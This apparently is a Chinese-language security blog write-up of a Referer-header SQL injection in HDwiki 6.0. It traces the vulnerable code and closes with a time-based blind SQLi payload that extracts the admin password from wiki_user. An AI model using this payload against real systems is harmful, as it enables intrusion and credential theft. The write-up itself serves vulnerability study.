HDwiki6.0前台Refer注入

发布于 12 天前  38 次阅读


介绍

漏洞信息:HDwiki6.0在

利用条件:php版本低于5.4且开启GPC

注入类型:Sql盲注

参考链接:https://www.freebuf.com/vuls/170337.html

代码位置

E:\phpStudy\PHPTutorial\WWW\hdwiki\control\user.php 114行
$_ENV['user']->add_referer();

继续跟进文件

E:\phpStudy\PHPTutorial\WWW\hdwiki\model\user.class.php
function add_referer(){
    if($_SERVER['HTTP_REFERER']){
        $this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
    }

其中使用haddslashes参数来进行过滤,我们继续跟进haddslashes参数。

E:\phpStudy\PHPTutorial\WWW\hdwiki\lib\string.class.php
        function haddslashes($string, $force = 0) {
            if(!MAGIC_QUOTES_GPC || $force) {
                if(is_array($string)) {
                    foreach($string as $key => $val) {
                        $string[$key] = string::haddslashes($val, $force);
                    }
                }else {
                    $string = addslashes($string);
                }
            }
            return $string;
        }

这里可以看到当开启MAGIC_QUOTES_GPC的情况下,则直接返回string。MAGIC_QUOTES_GPC会对$GET $POST $COOKIE进行过滤转义,但不会对Rerfer参数进行过滤。php在5.4版本后则弃用了MAGIC_QUOTES_GPC,因此该情况决定了此漏洞的鸡肋性,漏洞必须要php版本低于5.4的情况下且开启gpc才会触发。

Poc

' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(5),0)#

一沙一世界,一花一天堂。君掌盛无边,刹那成永恒。